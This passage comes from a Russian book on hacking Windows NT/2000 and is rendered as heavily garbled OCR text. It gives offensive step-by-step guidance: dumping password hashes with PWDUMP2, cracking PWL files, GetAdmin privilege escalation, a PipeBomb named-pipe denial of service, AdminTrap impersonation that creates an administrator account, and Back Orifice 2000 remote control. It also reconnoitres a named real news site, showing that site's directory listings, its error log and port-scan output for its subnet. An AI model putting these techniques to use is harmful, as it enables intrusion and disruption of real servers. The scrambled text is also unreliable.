JIyYIIIe KauecTBa CJIOBAPHOTO M METOIa MPSIMOTO TToI00pa.

* B03MOXHOCTb MONK/IIOUEHMST HALIMOHATBHBIX CJIOBApeid.

* Peanuzaius cereBoro SMB sniffer'a pist onepaiimoHHbIx
cuctem Windows 95/98.

* Bcrpoennas yrunura PWDUMP2, KoTopas 1Mo3BoJisieT

MPOM3BECTH U3BJICUECHNE XAIINPOBAHHBIX Mapoieil u3 daiiaa
SAM, zammdpoBaHHoro mpu oMoy yruautel SYSKEY u3
SP3.

Yrunmura PWDUMP2 http://www.webspan.net/~tas/pwdump2/ nos-
BOJISIET TIOJYYUTh CIIMCOK X3IIMPOBAHHBIX MapoJieil Jaxe B CUCTEME C BKJIIO-
yenHoit yrunuroir SYSKEY. JlanHas nmporpaMMa MoxXeT (pyHKIIMOHUPOBATh,
€CJIM TOJIbKO TMOJIb30BaTes b, €€ 3aMyCTUBIINNI, UMeeT MpuBuiIernio «OTiaanka
MporpamMM» U sIBJIsSIeTCs YWieHoM rpynnbl Administrators. Kpome Toro, naHHast
YTUJIUTA MOXKET MCIOJIb30BaThCsl B TOM Clly4yae, eclid C aTaKyeMON CUCTeMbl
yIAJIOCh MOJYYUTh KOMUIO 6a3bl TaHHBIX 6€30MaCHOCTU CUCTEMBI.

* IMonxyyenue maposneit Windows N'T mpu oMot
PWL-@aiinos.

Ecnu BB monyyuin OOCTYyN K KJIMEHTCKUM KomiIibioTepam Windows
3.11/95/98, xoropbie GYHKUMOHUPYIOT B JIOKAJILHOW CETH, BBl MOXETe
y3HATh MapOJib CUCTEMHOTO aAMUHUCTPATOPA WU APYTUX OI0KETOB B IOME-
He Windows NT kocBeHHBIM 00pa3oM. [1Jist 3Toro HeoOXoAUuMO coOpaTh BCe
nocrynHbele *.PWL ¢aitnbl, KOTOpble pacrojiaraloTcsl B CUCTEMHBIX KaTajio-
rax Windows 3.11/95/98. [Ins paciimdpoBKU 3TUX (HaiijioB BB MOXETe MC-
MoJIb30BaTh TMporpamMMmy repwl.exe, KOTOpPYl0O MOXHO HalTH MO aapecy
http://webdon.com /vitas/pwltool.htm.

DTo ojfHA W3 JY4YUIMX TPOTrpaMM JJIsl BBIUMCIICHMSI Taposiell u3
PWL-aitnos, KoTopasi MOYTU MTHOBEHHO MOXKET BBIUMCIUT JII0OOH Mapoib.

OTKpBIB TIpu nomoIu KHornku «Browse» (ITponucrtats) PWL-daiin,
BBIOCpUTE B CIIMCKE HYXHBIM HAaOOp CHMMBOJIOB M 3aTeM HaXXMHUTE KHOIIKY
«Search Password» (ITouck mapons). HaiineHHble TakuM oOpasom mapojiu



B3aom Microsoft Windows 2000 137

IMOMOIYT BaM 3aTeM IMOJYYUTh TOCTYIl K IJIABHOMY JIOMEHHOMY CEpBEPY
Windows NT.

Ho momuUTE, 9TO W5 60JIee COBEPIIIEHHOM 3alTUTH CUCTEMHBIC aTMU -
HUCTPATOPHI, KOTOPBIE ITOCO00pA3UTEbHEN, MOTYT HE OTPAHUIUTHCS TIPUME-
HEHHEM CITCITUATBHBIX YTUIIUT, HO MOTYT YCTAHOBUTH BPYIHYIO e1lle OoJree XKe-
CTKUE TIpaBa Ha OOBEKTH (HaiyloBoif cucteMbl. B dYacTHOCTH, 3a
PEKOMEHIAIIMSIMH 10 YCTAHOBKE TAKWX OTPAHUYECHUIT OHU MOTYT OOPaTUTHCS
no aapecy: http://www.microsoft.com/ntserver/security/exec/overview/
Secure_NTInstall.asp

COOTBETCTBEHHO TaM € MOXHO MCKaTb 1 IPOTUBOSINE OT UX MOIII-
HOM 3allUThI.

K cyacTtslo, y asinu buiuin paboTaroT eliie TaKue JTI0AW, KOTOPbIe MOTYT
COBEpIIUTh OIIMOKY, U Garomapsi TAKUM JIIOJISIM Mbl MOXEM MPOHUKHYTh B
CHUCTEeMY 4Yepe3 Te AbIpbl, KOTOpble OHM HaM IpeloCcTaBisioT. B yactHocTH, of1-
HOM 13 TaKUX JbIP SIBJISIETCSI BO3BMOXHOCTh ITOBBICUTh CBOI YPOBEHb MPUBUJIE-
I'MiA U BOWTH B TPYIITYy aIMUHUCTPATOPOB, a TTOTOM... JlocTUraeTcst 3To C I0-
Molplo TiporpamMmbl GetAdmin.exe (aBrop — Koncrantun CoboseB).
[TpaBna, B Service Pack 4 Bo3MOXHOCTb 3Ta ycTpaHeHa, HO pUCKHYTb CTOUT.
Wnest, 3anoxeHHast B Held, TOBOJIbHO-TaKM MTpocTa U TeHuaabHa. CUCTeMHBbIe
npouecckl B NT pabGoraror, Kak npaBuiio, nmoa System Account, a 3HAuYuT,
HMMEIOT Ha JIOKAJbHOM paboueM MecTe aJMUHUCTpaTopckue Ipapa. [emaiite
BbIBoA. Ho, Kk coxanenuto, Billy cpa6oran onepatuBHo, B SP4 aTo yxe 3ana-
taau. Ho He cTouT oTyanMBaThCsI: KTO MILET, TOT BCETrIa HAlIeT.

naBsa 5.
AOCTYn B AOKOABHOU CeTU

Ecnu BBl mony4Yuiayd MOJHBIA OOCTYI K OMHOM M3 pabO4YMX CTaHLIUMA
B JIOKQJIbHOH WJIU T100aIbHOM CEeTH IOMEHA, Bbl MOXETE UCIOJIb30BaTh HElO-
CTaTOYHOCTbD 3aIlUTHI ceTeBhIX coequHeHunii cepBepoB Windows NT. Cnabas
3al[1Ta CETEBbIX COEAMHEHUIN MPUBOAUT K TOMY, YTO, UCTOJIb3Ys CIeluaIu-
3MPOBAHHOE TPOrpaMMHOE OOEcCleuyeHUue, Bbl CMOXETE 3aBECUThb CEpBEpP
Windows NT («oTka3 B 00CIy>KMBaHUW» ) WX JaXKe ITOJyYUThb IIpaBa aqMUHM -
cTpaTopa MyTeM IepexBaTa aMUHUCTPATUBHBIX CETEBbIX coeAuHeHU. Jist
3TOTO MPUMEHSIOTCS CeAYIOIIMe BUbI aTaK:

* Hcnonbs3oBanre Named Pipe File System.

* Hcnonb3oBaHue cpeicTB yAaIEHHOTO YIIPABJICHUS
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fAaBa 6.
NUcnoab3oBaHne Named Pipe File System

Named Pipe File System siBisiercst BUpTyaabHOIi (haitioBoil CUCTEMON,
KOTOpasi He yIpaBiisieT ¢haityiamu, a yrpasiisieT KaHasiamu named pipes. Kana-
Jibl named pipes OTHOCSATCS K Kiaccy (hailioBbIx 00bEKTOB BMECTe ¢ (haitiamu,
JIICKOBBIMU TUPEKTOPUSIMU, YCTPONCTBAMU U TTOYTOBBIMU SIIUKaMK (mail-
slots). [ToaToMy GONBITMHCTBO (DYHKIIMI, TIpeIHA3HAYEHHBIX IJI1 pabOThI C
daiinamu (B Tom uucie CreateFile, ReadFile u WriteFile), paboraer u ¢ kaHa-
snamu. Kanan named pipes ripeacrasisieT co00il BUPTyalbHOE COeTUHEHUE, TIO
KOTOPOMY MepeaaeTcss iH(popMalus OT OHOTO Tpoliecca K apyromy. MHbop-
Malvsi MOXeT TiepeaBaThCsl KaK B OIHY CTOPOHY (00HOHanpaeaeHHblil KaHan),
Tak U B 00€ CTOPOHBI (dgyHanpaeaennbiil U OynaekcHoiii KaHai). Co3naHue
BUpTyasibHOTO KaHaia B Windows N'T mpoucxoauT cieayonmm oopa3om:

* CepBepHbIii Tpoliecc co31aeT KaHall Ha TIOKAJTbHOM
KOMITBIOTEPE C MOMOIIBIO (DYHKIIUY TTPOrPaMMHOTO
uHTepdeiica Win32 «CreateNamedPipe».

. CepBepHBIif TTpoLIecC aKTUBU3UPYET KaHaJl TP ITOMOIIU
¢ynkin «ConnectNamedPipe», mocie yero K KaHajay MOTYT
TTOAKITIOYAThCS KIIMEHTHI.

* Jlajiee TpOU3BOIUTCS TTOAKITIOUEHUE K KaHAITy
\\computer_name\pipe\pipe name mocpeiacTBOM BbI30Ba
dynkuuu «CreateFile».

KiueHTckuii npolecc MOXET OTKIIIOUUTBCS OT KaHasa B JII000i Mo-
MeHT ¢ nomolibio GhyHkiuu «CloseHandle». CepBepHblii poliecc MOXeT OT-
KJIIOYUTh KJIIMEHTa B JII00OII MOMEHT ¢ ToMollblo GpyHKIUM «DisconnectNa-
medPipe».

[Mocne mpekpalieHust CBSI3M ¢ KIMEHTOM CepBEPHBIN MTPOIIECC MOXET
ITIOBTOPHO MCIIOJIB30BAaTh KaHall ¢ IMTOMOIIbBIO ITOBTOPHOTO BLEI3OBa (1)yHKHI/II/I
«ConnectNamedPipe».

ITpu moMoI1M OTHOTO U TOTO e KaHajla CepBep MOXET OMHOBPEMEHHO
00CTYXMBaTh HECKOJBKUX KJIMEHTOB. JIJIs1 3TOr0 cepBEepHBII MPOLECC MOXET
co3nath N-HOe KOJIMYECTBO 9K3EMILISIPOB KaHala, BbI3BaB N-HOE KOJIMYECTBO
pa3 pynkiuio «CreateNamedPipe» (1pu 5TOM B KaxKI0M BBI30BE IOJXKHO ObITh
yKa3aHo OTHO U TO e UMS KaHaia).

Ecin kaHal mMeeT HECKOJIbKO 3K3EeMIUISIPOB, KJIMEHT MOXET OBITh
MOJKJIIOUYEH K JI000MY CBOOOJHOMY (HE 3aHSITOMY JPYTMM KJIMEHTOM) 3K-
3eMIUISIPY 9TOTO KaHaja.
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ITocne ycTaHOBJIEHMSI BUPTYaJIbHOTO COEAMHEHUSI CEPBEPHBII MpoLiece
Y KJIMEHTCKUI Mpollecc MOTYT OOMEHUBATbCSI MHGbOPMALIME TTPU TTOMOIIMU
nap ¢yHkuuii «ReadFile» u «WriteFile». Eciiu onuH yyacTHUK MH(pOpMaIu-
OHHOTro OOMeHa 3amuChiBaeT JaHHble B KaHal MPU MOMOLIM (BYHKIUU
«WriteFile», To apyroii y4acCTHUK MOXET NMpPOYMUTATh, MUCIOJIL3YST (PYHKIIUIO
«ReadFile».

HMurepdeiic Named Pipe File System 1m1poKo ncrnoib3yeTcst oreparm-
onHoi cucremoir Windows NT misg MHOXecTBa 3amad, HEKOTOPEIE M3 KOTO-
PBIX UTPAIOT BaXKHYIO POJIb B 00€CTIeYeHUM O€30MaCHOCTH OTIEPAllMOHHOM CH-
creMbl. Hampumep, ynmaneHHwii BbizoB mpouieayp (RPC) B Windows NT
peanu3oBaH Kak HaacTporika Hag NPFS.

OnHaKo B CMBIC/IE 3aIIMThl MHGOPMAIIMU U YCTOMYMBOCTU MPOTrpaMMm
untepdeiic Named Pipe File System MoxeT 1cIio1b30BaH ISl B3JI0Ma WIH BbI-
BeJICHUS U3 CTPOSI OTIepallMOHHOM cucTeMbl. Huxke mpuBeaeHbI 1Be TTporpaM-
Mbl PipeBomb 1 AdminTrap, KoTopble UCIIOJIB3YIOT HEIIPOAYMAHHOCTh peaju-
3aiu Named Pipe File System.

hnaBsa 7.
Mporpamma PipeBomb

IMpuknagHas nporpamma PipeBomb mpou3BoauT OTKpbITHE HA 3aIUCh
B BEUHOM LIMKJI€ HOBBIX 9K3EMIUISIPOB OMPENeIEHHOTO CUCTEMHOTO KaHasa u
3aMuChIBAET B HUX MOPIMU Oecnosie3Hoit nHbopmaiuu. Yepes 10BOJIbLHO KO-
POTKUIA TPOMEXKYTOK BpeMEHM BCE CBOOOIHBIEC 3K3EMILISIPhI KaHasa OyayT 3a-
HSITHI, TIOCJIE YETO CEPBEPHBIN MTPOIIECC OMPEEIseT, YTO BCE IK3EMILISIPhI €T0
KaHaJla 3aHsIThI, TTOCJIC YeT0 HAaUMHAEeT CO3/1aBaTh HOBBIE AK3eMILISIPhl KaHaa.

Kaxnplii HOBBIT 3K3eMIUISIp KaHajla 00CTYKUBAETCSl HOBBIM ITOTOKOM
(thread), mox KOTOpEI OTBOAMTCS HOBBIN Oy(ep B OIepaTUBHOM MaMSITH IS
xpaHeHus1 uHdopMau. KIMeHTCKuit Mmpoilecc MOCTOSTHHO OTKPBIBAET HO-
BbIe 9K3eMILISIPbI KaHajla, MIO3TOMY CEpBEPHOMY ITPOILIeCcCy MPUXOAMTCS CO-
3MaBaTh HOBBIE MIOTOKU. DTO MPUBOANT K MAaKCUMAJIBHOM 3arpy3Ke Mporecco-
pa cepBepa, a 06beM CBOOOMHOM OMEepaTUBHON MaMSITH 3TOT0 KOMITbIOTepa
ObICTPO yMeHbIaeTcs. Yepe3 HECKOJbKO MUHYT aTaKOBaHHBIN KOMITbIOTED
CTaHOBUTCS MPaKTUUECKU HepPaObOTOCIIOCOOHBIM. JlaHHAs ITporpaMMa OauHa-
KOBO 3¢ ¢GeKTUBHO paboTaeT 11l aTaK KaK Ha paboumne CTaHIIUM, TaK U Ha cep-
Bepa Windows NT 4.0. [I;1s1 Hagyama aTaku HEOOXOAUMO 3aIlyCTUTh IIPOrpaMMy
PipeBomb u B mosyie BBeCTH UM aTaKyeMOI'0 KOMITbIOTEpa.

3ateMm cienyeT HaxaTb KHOTKY «Create» (Co3natb) uinu «Write» (3a-
nucarhb), mocje yero Joo6oit ceppep Windows NT Oyner 3aBellieH B TeUeHUE
JIByX MUHYT.
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DTy aTaKy MOXHO ITPUMEHSTh Yepe3 Internet, MHKANICyIUpysl TaKeThI
SMB B naketsl TCP/IP (cereBasi cocrapisitoinast uHrepdeiica Named Pipe
File System opraHu3zoBaHa Kak HaJCTpOKa HaJ poTokosoM SMB).

AnaBa 8.
Mporpamma AdminTrap

ITporpamma AdminTrap npov3BOAUT CO3MaHUE TPOSTHCKOTO DK3EMILISI-
pa OJTHOTO U3 CUCTEMHBIX KaHAJIOB U XJET, KOTIa K HeMY TTOIKIIOUNTCS KITH-
eHt. 3ateM AdminTrap BoinosnnsieT Bb130B GyHKuMU Win32 «ImpersonateNa-
medPipeClient», koTopasi Ha3HauaeT MapKep AocTyna (access token) KiveHTa
9K3eMIUIsIpa KaHaja, handle cepBepHOTo KOHIIa KOTOPOTO YKa3aH B KAueCTBE
rmapamMeTpa pyHkuuu. Eciu BeimoHeHNe (YHKIIMY TIPOIIJIO YCITeITHO, ONWH
U3 MOTOKOB Tporpammbl AdminTrap mosny4yaer moJHOMOYMSI TOJIb30BaTe-
JIS-KJIMEeHTA TPOSTHCKOTO 9K3eMILIsIpa KaHaa.

BepositHOCTb TOTO, UTO TTporpamma AdminTrap nociie Bei3oBa «Imperso-
nateNamedPipeClient» roysiydut moJIHOMOUYMsSI aIMUHUCTPATOPa, BeCbMa BeJI-
Ka, ecJIM CIyJyaiiHO yaacTcsl MepexBaTUTh CJEMYIONIe CETeBbIe COSAMHEHUS:

* winreg — y/iajeHHOe yIpaBJieHUe PEeCTPOM, CITUCKOM
CEepBUCOB, perIMKalueil 1 aiMUHUCTPATUBHBIMU
oroBelieHusIMU (alerts), yaajaeHHbBII MPOCMOTP CUCTEMHBIX
>KYpPHaJIOB, yAAJIEHHOE TUarHOCTUPOBAaHKE U OlIEHKA
MPOU3BOJAUTEILHOCTH;

. spoolss — ynajeHHOE yrpaBjIeHHe IPUHTEPOM.
ITocte 3amycka porpaMMa oXuIaeT MOAKITIOUEHUST afMUHICTPATopa.

Korna amMuHKUCTpaTOp HAYHET BBIMOJHSATH OJHY U3 aAMUHUCTPATUB-
HBIX OIepaluii, CETeBOE COCAMHEHUE ATMUHUCTPATOpa TMepexBaTbIBAETCS,
rnporpamMma BbIJaeT Ha 9KPaH OKHO, COAepKallee UMsI U CIIMCOK MPUBUIECTUI
5TOT0 aIMUHUCTPATOPA, U MPEAJIaraeT OCyllleCTBUTh CO3AaHUE HOBOTO MOJIb-
3oBatesisi ¢ uMeHeM AdminTrap, koTopbiii BXoauT B rpyIiny «Administrators».

fAaBa 9.
NcnoAb3oBaHMe cpeACTBA YAOAEHHOro
ynpaeAeHus Back Oriffice 2000

ITporpamma Back Orifice (10c10BHBbII ITepeBOI — 3aIHUI TPOXOJ) SIB-

JISIETCSI e1lle OAHUM cpencTBoM B3jioMa cepBepoB Windows NT u yaaneHHOro
ynpasieHuss umu dyepe3 Internet. BO2K cocTtouT u3 KIIMEHTCKOI, cepBepHOit
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YacTW W YTUJIUT, ITO3BOJISIIOIIMX JO0ABJISATh HEKOTOPHIE HOBBIC (YHKIIUH
Y TIPOM3BOAMTH HACTPOWKY CEPBEPHOI YacTH.

JaHHOe TIporpaMMHOe ObecTieueHre MOXKET paboTaTh Ha KOMITbIOTe-
pax ¢ YCTAaHOBJICHHBIMM oOTlepallMOHHbIMU cuctemamMu Windows 95/98
u Windows NT.

Knuentckas yacts BO2K (daiin bo2kgui.exe) ucnonb3yercss Ha KOM-
MbIOTEPE XaKepa M MO3BOJISIET MOJYYMTh JOCTYIT K MaIlIMHE C YCTAaHOBJIEHHOM
cepBepHoii yacTu 1o nporokoiaaM TCP wiu UPD no nmopty 31337.

OO6bIUHO TIepe BHeApeHWeM cepBepHoil yactu (pa3mep 120 K6) mpo-
M3BOIUTCS CKaHWpOBaHWE TOICETU U BBHISIBIcHUE KOHKpeTHoro IP-ampeca.
3aTteM cepBepHas YacTh 3aITyCKaeTCsT Ha cepBepe MPH MOMOIIN JTF000TO JI0-
KaJIbHOTO OlomxkeTa. Xakep, MCIOJb3ysd KIMEHTCKYIO 4acTh, MOXET BBITIOJ-
HATh CIeAYIOLIe IeHCTBUS:

* MIPOM3BOANTH PEIAKTUPOBAHUE PEeCTpa;

* OCYILIECTBJIATh IMOJHbIIM KOHTPOJIb Hall (DaitioBOil CUCTEMOI
yepe3 Opaysep;

ITOJTy4aTh MHGOPMALIMIO O BBEICHHBIX [TAPOJIsX;
[IPOCMATPUBATh TEKYIIEE COCTOSIHIE IKPaHa Ha CepBepe;
ITPOCMAaTPUBATh CETEBBIC PECYPCHI, MOAKITIOYCHHBIE K CEPBEPY;
YIIPABJISITh CUCTEMHBIMM ITPOLIECCAMMU;

BBITTOJIHATD YAQJICHHYIO TIepe3arpysKy;

* 6 6 6 o o

YAAJICHHO BBIMMOJHATD IIpOrpaMMbl C BO3MOKHOCTBIO
nepeHarpaBJIC€HUA KOHCOJIMU Ha KOMITBIOTEPD XaKepy.

ITepen BHenpeHUEM cepBepHas YacTh KOH(MUTYPUPYETCS TTPU TTOMOIITU
Macrepa kondurypuponanust BO2K Configuration Wizard (dbaitn boZkcfg.exe).
Mactep BO2K Configuration Wizard mmo3BoJsieT BEIOpaTh (paiin cepBepa BO2K
(bo2k.exe) n 3amath IapoJIb, KOTOPHIM 3aTeM OyIeT UCITOIb30BaThCS AJISI JOCTY-
ma o cetu. Kpome TOro, Mactep mo3BosisieT BeIOpath mopt mist [P-coenute-
HMSI, METOI IIM(POBAHUS COSTMHEHUI MEXTY KIIMEHTOM M cepBepoM. Bam He-
00X0IMMO yKaszaTh, KaKOWl CeTeBOl MOMyidb OYyIeT WCIOJb30BaThCS B
IP-coemmuenusx TCP wm UPD. TCP-coennHeHNsT OOBIYHO MCIIOIB3YIOTCS
JUTSI OpTaHU3alluM yIIpaBieHUs yepe3 ceTb Internet. UPD-coenuHeHus mpume-
HsI0TCS U1t padoTel B JIBC.
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Kpome Toro, naHHasi yTuinTa UCIIOJb3yeTCs 7151 J0OABIEHUsT K OCHOB-
HOMY 3aITycKaeMoMYy MOJYJI0 bo2k.exe TONOJHUTEIbHBIX BO3MOXHOCTEH, KO-
Topble peanr3oBaHbl B Buae Plugins DLL.

'hasa 10.
YaaAeHHbin B3AOM Windows NT yepes Internet

Cambim TpyaHbIM B3toMoM Windows NT cunTtaercst ynaJeHHBIN B3JIOM
yepe3 Internet. B camoM Hauaje y aTakyoIEro OTCYTCTBYeT BOOOIIE Ka-
Kas-mo60 nHpopMaius, KpoMe nMeHu xocTa u ero IP-agpeca. Eciau Ha yma-
JICHHOM cepBepe pabotaeT Web-cepBep, BBl TOXE Cpa3y XK€ CMOXKETe MHTYH-
TUBHO OTIPENETNTh, C KAKOI OMepallMOHHON CUCTeMOI BbI UMeeTe neo. Js
3TOTO CJICAYET, UCTIOJIb3YS Opay3ep, TPOBECTH UCCIIeTOBAaHNE CTPAHUYEK U OT-
PBITBIX IJI1 IIpocMOTpa KaTtajmoroB Web-cepsepa. it Web-cepsepos 1IS
3.0/4.0/5.0, xoTopble ABIAIOTCSA MPoAyKTaMu Microsoft 1 paboTaroT UCKITIO-
yutenabHo 1o Windows NT, xapakTepHBI ClIeAylIIne OCOOCHHOCTH:
Web-cTpaHuilpl UMEIOT paciiupeHus *.htm, *.asp; cTpaHUIIbI UMEIOT KOAU-
poBky Win1253, a He KOI8-R (111 pycCKOS3BIUHBIX CTPAHUII) U IIPOYME KOC-
BEHHBIC TTPU3HAKM.

Kpome Toro, ciaenyeT THIATeIbHO MPOCMOTPETh CTPYKTYPY KaTaJoroB
JMIOKYMEHTOB U CKpUMTOB. KaTajorn MOKyMEHTOB, B KOTOPBIX OTCYTCTBYIOT
(aiinbl index.htm, TOKaXyT BaM IOJHbIM CITUCOK (haiiJIoB M PACIIONIOXKEHHBIX
Huxke aupekTopuii. CiaydaitHo Opoas o Internet'y, Bbl MOXeTe CIydailHO Ha-
TKHYTbCSI Ha Takoii Web-cepBep HoBocTeil mTata Aitnaxo: http://www.ida-
honews.com/, KOTOPbIi MOJHOCTBIO COOTBETCTBYET OMMMCAHHBIM KPUTEPHUSIM.
Ho camoe cMeniHoe To, YTO y 3TOro cepBepa OTKPBITHI JIs1 MPOCMOTpa KaTa-
JIOTH CKPMIITOB Scripts u cgi-bin.

Ecnu karanoru ckpunTos scripts 1 ¢gi-bin OTKpBITHI 17151 TPOCMOTpa, TO
3TOT CcepBep — MPOCTO HaXoJKa JUIsl OTNBITHOTO Xakepa. Mcronb3yst Gpaysep,
VIAJIEHHBIN KIMEHT MOXKET 3aITyCKaTh JII0ObIe (haiiyibl U3 9TUX AUPEKTOPUIA Ha
Web-cepBepe. OcTaeTcsd KaKMM-JIMOO CIIOCOOOM 3arpy3uThb OOHY M3 IIpO-
rpaMM, ONMCAaHHBIX paHHEe, B KaTaJlorM CKpUNTOB scripts u cgi-bin. /{5 aTo-
TO HUCCJIeZyeM OTKPBIThIE KaTajoru 6oJjiee moapooHo.

Kak BbI MOXXeTE BUAETH, OTKPBITHII KaTajlor cgi-bin mo3Bosnia HaM 1o-
JIy9uTb MH(pOPMAIIAIO O TOM, 4TO AaHHBINA cepBep Windows NT ucmonb3yer
sa3bIK Perl. Mcrionb3yst oObIYHBI Opay3ep, Bbl MOXETe CKayaTb BCE CKPUIITHI
13 3TUX IUPEKTOPUI K TTPOU3BECTH X aHAJIM3 Ha TIOJyYeHUE Pa3TnIHOTO PO-
na nadopmanmu o6 ynaneHHoMm cepBepe. Kpome Toro, B katasnore cgi-bin Ha-
xomutcs monkaTtasor MSWin32-x86-object. Boiinem B Hero m rnmpocMoTpum
€ro COIepKUMOe.



B3aom Microsoft Windows 2000 143

Kak mbl BUguM, noaxkatagior MSWin32-x86-object conepxut nHcrai-
JUpoBaHHYI0 Bepcuio sa3bika Perl 5.0, a takxke cam auctpudbytus Perl
5.00502.exe. 3aTeM ckayaeM 13 3TOI AUPEKTOPUHM (Daitl perucTpalnu olmooK
PerlIS-Err.log:

«x+ 'E:\docs’ error message at: 1998/11/24 13:23:57
Can't open perl script "E:\docs": Permission denied
«x+ 'E:\docs’ error message at: 1998/12/25 04:49:16
Can't open perl script "E:\docs": Permission denied
«x+ 'E:\docs’ error message at: 1999/03/26 16:05:43
Can't open perl script "E:\docs": Permission denied
«x+ 'E:\docs’ error message at: 1999/09/08 11:39:54
Can't open perl script "E:\docs": Permission denied
«x+ 'E:\docs’ error message at: 1999/09/08 11:58:34
Can't open perl script "E:\docs": Permission denied
«x+ 'E:\docs\idaho8" error message at: 1999/10/25 13:51:51
Can't open perl script "E:\docs\idaho8": Permission denied

KoHeuHo, naHHBIN XypHaJIbHBIN (Dailyl gaeT He CAMIIKOM MHOTO MH-
(opmaru, KpoMe TOil, YTO OCHOBHBIC TOKYMEHTBI PACITOJIOKEHbBI Ha IMCKE
E: B xarasnore docs, 1 Takke Perl.exe vcrosib3oBascsi paHHee it HeyaauHbIX
TMOTBITOK MIPOHUKHOBEHUS B CUCTEMY. 3aTEM CJIeYeT IPOCMOTPETh JIOKYMEH -
Taiuio B cetu Internet mo omubkam u npipam B peanusauuu Perl 5.0 mis
Windows NT u, ucxonsi u3 a3Toro, npou3BeCTH aHAIN3 HAXOSIIUXCS B KaTa-
Jiorax scripts u cgi-bin *.pl-ckpurnros.

[IpouszBoauM IIpOCMOTP KaTajiora Scripts.
OTKpBITHI KaTaJIoT SCripts 1aeT HaM CJIeAyIOILy0 MH(GOPMALIUIO;

* [Monkaraxor /scripts/centralad/ comepxuT cpemcTsa I
LEHTPATM30BAHHOTO aIMUHUCTPUPOBAHUS KAKO-TO
MH(DOPMAIMOHHOMN CUCTEMBI.

* IMoaxkaranor scripts/iisadmin/ conepxxutr HTML-Bepcuto pist
agMuHucTprpoBaHus Web-ceppepa IS, koropast oueHb MOXeT
MIPUTOAUTHCS MPU B3JIOME CUCTEMBI.

* IMonkaranor scripts/tools/ conep>XuT pa3TuuHbIe YTWIUTHI JJIsI
I1S.

* ®aiin General.mdb — caiin 6a3sl naHHBIX Microsoft Access,
TOBOPUT O TOM, UYTO, BO3MOXHO, Ha CepBepe YCTAaHOBJIEHA
CYBJ MS Access;

* ®Daitnel PASSWRD2.EXE 1 PASSWRD2.CPP umelot oueHb
crpanHoe uMst PASSWRD2.*, koTopoe HallOMUHAeT OAMH
13 U3BECTHBIX XaKePCKUX MHCTpyMeHTOB. Co3naercst
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BIIEYATJICHHE, YTO TaHHBII CepBep YKe JJOMaIM paHHee, T.K.,
BO3MOXHO, 3TH (aiijIbl OBLIN 3arpy>kKeHBI Ha CEPBEP XaKepaMU.

3aTreM MOXHO MPOCKAHMPOBATh JAaHHBII XOCT HA HAJIMYME OTKPHITHIX
IIOPTOB U, CJICAOBATEILHO, CEPBUCOB, HA HEM YCTaHOBJIEHHBIX. JIJ1sT cCKaHUPO-
BaHUS TIOPTOB BBl MOXETE MCIOJb30BaTh CJEAYIOIIME CKaHEephl IIOPTOB
Windows:

* 7th Sphere PortScan v1.1

All Around Internet

Ogre v0.9b

Port Scanner v1.1

PortScan Plus

SiteScan by Rhino9/Intercore
TCP Port Scanner

. UltraScan v1.2.

* 6 & 6 o o

JlaHHbIC YTWJIMTBI Bbl MOXETE MOJIYyYUTh CO CTpaHUllbl http://208.234.
248.19:81/hack/genar/archive5.html. HauGosee mone3HbIM U MPOCTHIM CKa-
HepoM 1opTtoB gBisieTcs: Ogre v0.9b (Rhino9). Ipyrue ckaHepsl MOPTOB MO,
Windows win UNIX BBl cMOXeTe OTBICKATb IIPU OIIPeIeJeHHOM YIIOPCTBE
B cetu Internet.

Y1unura Ogre obecrieunBaeT B3IOMIIMKA dPHEKTUBHBIM UHCTPYMEH-
TOM JJ151 cOopa uHdopMalru 00 ysI3BUMbIX MecTax 1t cepBepoB Windows NT
U Mpouurx XocToB Internet.

Ogre MO3BOJISIET BBITIOJHUTH PSJl TECTOB JUISl BHIOPAHHOW TMOJCETH
kimacca C ¥ TTPOBEPUTH XOCTBI HA M3BECTHBIC IBIPHI B OMEPallMOHHBIX CUCTE-
max Windows 95 u Windows NT, a Takxke B yCTAHOBJIEHHOM MPOrPaMMHOM
obecnieyeHuu. Ytuiauta Ogre no3BoJisieT:

* OrnpenenuTb aKTUBHbIE XOCThI B JaHHOI MoaceTu Kiacca C;

* ITpocMOTpeTh BHISIBJIEHHBIE XOCThI, YTOOBI OTIPEIETUTD
JIOCTYITHBIE yaaJeHHbIE CYXKObI U TTOPTHI, 10 KOTOPHIM K HUM
MOXHO 00paTUTHCS;

* IMoayunts MHGOPMALIMIO OTHOCUTEILHO COCTOSIHUS netbios
(Nbtstat);
* ITpocMOTpeTh AOCTYITHBIE CETEBbIE PECYPCHI, BbIIEIEHHbIE

B COBMECTHOE MCIIOJIb30BaHUE (net view);
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* ITpoBepuTh CyllIeCTBOBAaHNE CEPBEPHBIX PACIIUPEHU
Microsoft Frontpage;
* [TpoBepuTh MPUCYTCTBUE B CUCTEME CPEJCTBA

anmuHuctpupoBanus HTML mna 11S

* ITpoBepuTh CyllecTBOBaHNWE MHACKCUPOBAHHBIX MO
yMoyaHuio 1okyMeHToB Index Server.

fAnasa 11.

McnoAb3oBaHmne yTuantbl Ogre AAS NPOBEPKU

noAcCeTUn

cepBepa HOBOCTEM LWTATA ANAOXO

Ilepen nucroab30BaHUEM ITOM YTWIMTHI HEOOXOIUMO MMOJyduTh [P-amn-
pec cepsepa http://www.idahonews.com/.

715 2TOrO BHINIOJTHUM KOMaHay ping www.idahonews.com:

Pinging
Request
Request
Request
Request

www. 1dahonews.com [198.60.102.4] with 32 bytes of data:
timed out.
timed out.
timed out.
timed out.

IP-anpec cepBepa orobpaxaercst yepe3 DNS, ogHako ping He TTpoxo-
ITIUT. DTO 0O3HAYAET, YTO JAaHHBII cepBep NPUKPLIT firewall'om U ckaHUpoBaHUE
€ro MopToB OyneT HeynauHbiM. OIHAKO CKaHWPOBaHWE NaHHOM MOACEeTH MO3-
BOJIUT BBISIBUTH Ipyrue cepsepa fomeHa idahonews.com.

I[J'IH TECTUPOBAaHUA IMMOACETU, B KOTOpOfI HaxXoouTCda CCPBEP HOBOCTEN

mrara Aigaxo,

BBe/IeM TepBblii aapec oacetu B [P B mose «Starting IP» (Ha-

yanbHbIi [P-agpec) 198.60.102.1. 3ateM BBeaeM MOCISIHUN aapec MOACETH B
«Ending Octet» 254 (KoHeuHblit okreT). [l Hayama CKaHUPOBaHUSI HAXKMEM
KHOTIKY «Start scan» (Hauats ckaHupoBaHue).

Ilocne ckaHMpoBaHUS MOJIYYUM CIEAYIOIINE Pe3yIbTaThl:
Scanning - 198.60.102.1

Commencing Port Scan:

Port 21:
Port 23:
Port 25:
Port 53:
Port 79:

Closed
Open
Closed
Closed
Open
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Port
Port
Port
Port
Port
Port
Port

Scanning - 198.60.102.2

80: Closed

110: Closed
111: Closed
139: Closed
443: Closed
1080: Closed
